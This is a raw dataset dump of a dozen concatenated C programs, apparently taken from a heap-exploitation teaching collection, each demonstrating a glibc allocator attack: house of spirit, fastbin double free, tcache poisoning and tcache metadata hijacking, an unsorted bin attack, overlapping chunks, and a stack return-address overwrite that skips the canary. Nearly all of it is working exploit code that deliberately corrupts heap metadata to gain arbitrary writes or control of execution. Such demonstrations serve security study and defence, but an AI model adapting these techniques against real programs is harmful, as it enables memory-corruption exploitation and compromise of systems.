deardaniel/secdata-raw huggingface dataset:
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	puts("This file demonstrates the house of spirit attack.");
	puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
	puts("Required primitives: known target address, ability to set up the start/end of the target memory");

	puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

	puts("\nStep 2: Prepare the fake chunk");
	// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
	long fake_chunks[10] __attribute__ ((aligned (0x10)));
	printf("The target fake chunk is at %p\n", fake_chunks);
	printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
	printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
	puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
	printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
	fake_chunks[1] = 0x40; // this is the size

	printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
	printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
	fake_chunks[9] = 0x1234; // nextsize

	puts("\nStep 3: Free the first fake chunk");
	puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
	void *victim = &fake_chunks[2];
	free(victim);

	puts("\nStep 4: Take out the fake chunk");
	puts("First we have to empty the tcache.");
	for(int i=0; i<7; i++) {
		malloc(0x30);
	}

	printf("Now the next calloc (or malloc) will return our fake chunk at %p!\n", &fake_chunks[2]);
	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Allocate buffers to fill up tcache and prep fastbin.\n");
	void *ptrs[7];

	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);
	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Fill up tcache.\n");
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Freeing the first chunk %p...\n", a);
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	/* VULNERABILITY */
	free(a);
	/* VULNERABILITY */

	printf("In order to use the free list for allocation, we'll need to empty the tcache.\n");
	printf("This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.");
	printf("Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd");
	for (int i = 0; i < 7; i++) {
		ptrs[i] = malloc(8);
	}

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	puts("Note that since glibc 2.41, malloc and calloc behave the same in terms of the usage of tcache and fastbin, so it doesn't matter whether we use malloc or calloc here.");
	a = malloc(8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st malloc(8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");


	fprintf(stderr,"Fill up tcache first.\n");

	void *ptrs[7];

	for (int i=0; i<7; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}


	unsigned long long stack_var;

	fprintf(stderr, "The address we want calloc() to return is %p.\n", 8+(char *)&stack_var);

	fprintf(stderr, "Allocating 3 buffers.\n");
	int *a = calloc(1,8);
	int *b = calloc(1,8);
	int *c = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", a);
	fprintf(stderr, "2nd calloc(1,8): %p\n", b);
	fprintf(stderr, "3rd calloc(1,8): %p\n", c);

	fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
	free(a);

	fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);

	fprintf(stderr, "So, instead, we'll free %p.\n", b);
	free(b);

	//Calling free(a) twice renders the program vulnerable to Double Free

	fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = calloc(1,8);

	fprintf(stderr, "1st calloc(1,8): %p\n", d);
	fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
	fprintf(stderr, "Now the free list has [ %p ].\n", a);
	fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that calloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
	/*VULNERABILITY*/
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
	/*VULNERABILITY*/

	fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));

	void *p = calloc(1,8);

	fprintf(stderr, "4th calloc(1,8): %p\n", p);
	assert(p == 8+(char *)&stack_var);
	// assert((long)__builtin_return_address(0) == *(long *)p);
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
		   "returning a pointer to an arbitrary location (in this case, the stack).\n"
		   "The attack is very similar to fastbin corruption attack.\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
		   "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");

	size_t stack_var;
	printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
	b[0] = (intptr_t)&stack_var;
	printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", &stack_var);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	assert((long)&stack_var == (long)c);
	return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>


int main()
{
    /*
     * This attack should bypass the restriction introduced in
     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a[PII_REDACTED]d081d
     * If the libc does not include the restriction, you can simply double free the victim and do a
     * simple tcache poisoning
     * And thanks to @anton00b and @subwire for the weird name of this technique */

    // disable buffering so _IO_FILE does not interfere with our heap
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    // introduction
    puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
    puts("returning a pointer to an arbitrary location (in this demo, the stack).");
    puts("This attack only relies on double free.\n");

    // prepare the target
    intptr_t stack_var[4];
    puts("The address we want malloc() to return, namely,");
    printf("the target address is %p.\n\n", stack_var);

    // prepare heap layout
    puts("Preparing heap layout");
    puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }
    puts("Allocating a chunk for later consolidation");
    intptr_t *prev = malloc(0x100);
    puts("Allocating the victim chunk.");
    intptr_t *a = malloc(0x100);
    printf("malloc(0x100): a=%p.\n", a); 
    puts("Allocating a padding to prevent consolidation.\n");
    malloc(0x10);
    
    // cause chunk overlapping
    puts("Now we are able to cause chunk overlapping");
    puts("Step 1: fill up tcache list");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("Step 2: free the victim chunk so it will be added to unsorted bin");
    free(a);
    
    puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
    free(prev);
    
    puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
    malloc(0x100);
    /*VULNERABILITY*/
    free(a);// a is already freed
    /*VULNERABILITY*/
    
    // simple tcache poisoning
    puts("Launch tcache poisoning");
    puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
    intptr_t *b = malloc(0x120);
    puts("We simply overwrite victim's fwd pointer");
    b[0x120/8-2] = (long)stack_var;
    
    // take target out
    puts("Now we can cash out the target chunk.");
    malloc(0x100);
    intptr_t *c = malloc(0x100);
    printf("The new chunk is at %p\n", c);
    
    // sanity check
    assert(c==stack_var);
    printf("Got control on target/stack!\n\n");
    
    // note
    puts("Note:");
    puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
    puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");

    return 0;
}
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// Tcache metadata poisoning attack
// ================================
//
// By controlling the metadata of the tcache an attacker can insert malicious
// pointers into the tcache bins. This pointer then can be easily accessed by
// allocating a chunk of the appropriate size.

// By default there are 64 tcache bins
#define TCACHE_BINS 64
// The header of a heap chunk is 0x10 bytes in size
#define HEADER_SIZE 0x10

// This is the `tcache_perthread_struct` (or the tcache metadata)
struct tcache_metadata {
  char counts[TCACHE_BINS];
  void *entries[TCACHE_BINS];
};

int main() {
  // Disable buffering
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  uint64_t stack_target = 0x1337;

  puts("This example demonstrates what an attacker can achieve by controlling\n"
       "the metadata chunk of the tcache.\n");
  puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
       "will also serve as the relative offset to calculate the base of the\n"
       "metadata chunk.");
  uint64_t *victim = malloc(0x10);
  printf("Victim chunk is at: %p.\n\n", victim);

  long metadata_size = sizeof(struct tcache_metadata);
  printf("Next we have to calculate the base address of the metadata struct.\n"
         "The metadata struct itself is %#lx bytes in size. Additionally we\n"
         "have to subtract the header of the victim chunk (so an extra 0x10\n"
         "bytes).\n",
         sizeof(struct tcache_metadata));
  struct tcache_metadata *metadata =
      (struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
  printf("The tcache metadata is located at %p.\n\n", metadata);

  puts("Now we manipulate the metadata struct and insert the target address\n"
       "in a chunk. Here we choose the second tcache bin.\n");
  metadata->counts[1] = 1;
  metadata->entries[1] = &stack_target;

  uint64_t *evil = malloc(0x20);
  printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
         "second tcache bin. The returned pointer is %p.\n",
         evil);
  assert(evil == &stack_target);
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
	setbuf(stdout, NULL);
	intptr_t stack_buffer[4] = {0};

	printf("This technique only works with disabled tcache-option for glibc or the size of the victim chunk is larger than 0x408, see build_glibc.sh for build instructions.\n");

	printf("Allocating the victim chunk\n");
	intptr_t* victim = malloc(0x410);

	printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
	intptr_t* p1 = malloc(0x410);

	printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
	free(victim);

	printf("Create a fake chunk on the stack");
	printf("Set size for next allocation and the bk pointer to any writable address");
	stack_buffer[1] = 0x410 + 0x10;
	stack_buffer[3] = (intptr_t)stack_buffer;

	//------------VULNERABILITY-----------
	printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
	printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
	victim[-1] = 0x30;
	victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
	//------------------------------------

	printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
	char *p2 = malloc(0x410);
	printf("malloc(0x410): %p\n", p2);

	intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
	memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

	assert((long)__builtin_return_address(0) == (long)jackpot);
}
/*

 A simple tale of overlapping chunk.
 This technique is taken from
 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
	setbuf(stdout, NULL);


	intptr_t *p1,*p2,*p3,*p4;

	printf("\nThis is a simple chunks overlapping problem\n\n");
	printf("Let's start to allocate 3 chunks on the heap\n");

	p1 = malloc(0x500 - 8);
	p2 = malloc(0x500 - 8);
	p3 = malloc(0x80 - 8);

	printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x500 - 8);
	memset(p2, '2', 0x500 - 8);
	memset(p3, '3', 0x80 - 8);

	printf("\nNow let's free the chunk p2\n");
	free(p2);
	printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

	printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
	printf("For a toy program, the value of the last 3 bits is unimportant;"
		" however, it is best to maintain the stability of the heap.\n");
	printf("To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse),"
		" to assure that p1 is not mistaken for a free chunk.\n");

	int evil_chunk_size = 0x581;
	int evil_region_size = 0x580 - 8;
	printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	/* VULNERABILITY */
	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
	/* VULNERABILITY */

	printf("\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	printf("This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
	printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
	printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

	printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	printf("Let's run through an example. Right now, we have:\n");
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	assert(strstr((char *)p4, (char *)p3));
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
	fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
		    "glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
		    "instructions.\n");
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	volatile unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(0x410);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(0x410);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);

	assert(stack_var != 0);
}
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	// disable buffering so _IO_FILE does not interfere with our heap
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	// introduction
	puts("This file demonstrates an interesting feature of glibc-2.42: the `tcache_perthread_struct`");
	puts("may not be at the top of the heap, which makes it easy to turn a heap corruption into arbitrary allocation.\n");


	puts("In the past, before using the heap, libc will initialize tcache using `MAYBE_INIT_TCACHE`.");
	puts("But this patch removes the call in the non-tcache path: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=cbfd7988107b27b9ff1d0b57fa2c8f13a932e508");
	puts("As a result, we can put many large chunks before tcache_perthread_struct");
	puts("and use a heap overflow primitive (or chunk overlapping) to hijack `tcache_perthread_struct`\n");
	
	puts("The structure's hijack is also possible through the use of a UAF primitive.");
	puts("If you have a UAF on a large free chunk before `tcache_perthread_struct`'s initialization, ");
	puts("you can control the split chunk which is the allocated `tcache_perthread_struct`\n");

	long target[0x4] __attribute__ ((aligned (0x10)));

	long *chunk = malloc(0x420);
	printf("first, allocate a large chunk at the top of the heap: %p\n", chunk);
	void *p1 = malloc(0x10);
	free(p1);
	printf("now, allocate a chunk and free it to initialize tcache_perthread_struct and put it right after our chunk\n");
	printf("the tcache_perthread_struct->tcache_entry[0] should be initialized with %p\n", p1);

	printf("Now, we simulate an overflow vulnerability to overwrite the pointer\n");
	/*Vulnerability*/
	chunk[0x420/8+25] = (long)&target[0];
	/*Vulnerability*/

	void *p2 = malloc(0x10);
	printf("Then the next allocation will be at our wanted address: %p\n", p2);
	assert(p2 == &target[0]);
}
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// Tcache metadata poisoning attack
// ================================
//
// By controlling the metadata of the tcache an attacker can insert malicious
// pointers into the tcache bins. This pointer then can be easily accessed by
// allocating a chunk of the appropriate size.

// By default there are 64 tcache bins
#define TCACHE_BINS 76
// The header of a heap chunk is 0x10 bytes in size
#define HEADER_SIZE 0x10

// This is the `tcache_perthread_struct` (or the tcache metadata)
struct tcache_metadata {
  uint16_t counts[TCACHE_BINS];
  void *entries[TCACHE_BINS];
};

int main() {
  // Disable buffering
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  uint64_t stack_target __attribute__ ((aligned (0x10))) = 0x1337;

  puts("This example demonstrates what an attacker can achieve by controlling\n"
       "the metadata chunk of the tcache.\n");
  puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
       "will also serve as the relative offset to calculate the base of the\n"
       "metadata chunk.");
  uint64_t *victim = malloc(0x10);
  printf("Victim chunk is at: %p.\n\n", victim);
  puts("Now freeing it will lead to the allocation of the metadata on heap");
  free(victim);

  printf("Next we have to calculate the base address of the metadata struct.\n"
         "The metadata struct itself is %#lx bytes in size. Additionally we\n"
         "have to subtract the header of the victim chunk (so an extra 0x10\n"
         "bytes).\n",
         sizeof(struct tcache_metadata));
  struct tcache_metadata *metadata =
      (struct tcache_metadata *)((long)victim + 2*HEADER_SIZE);
  printf("The tcache metadata is located at %p.\n\n", metadata);

  puts("Now we manipulate the metadata struct and insert the target address\n"
       "in a chunk. Here we choose the second tcache bin.\n");
  metadata->counts[1] = 6;
  metadata->entries[1] = &stack_target;

  uint64_t *evil = malloc(0x20);
  printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
         "second tcache bin. The returned pointer is %p.\n",
         evil);
  assert(evil == &stack_target);
}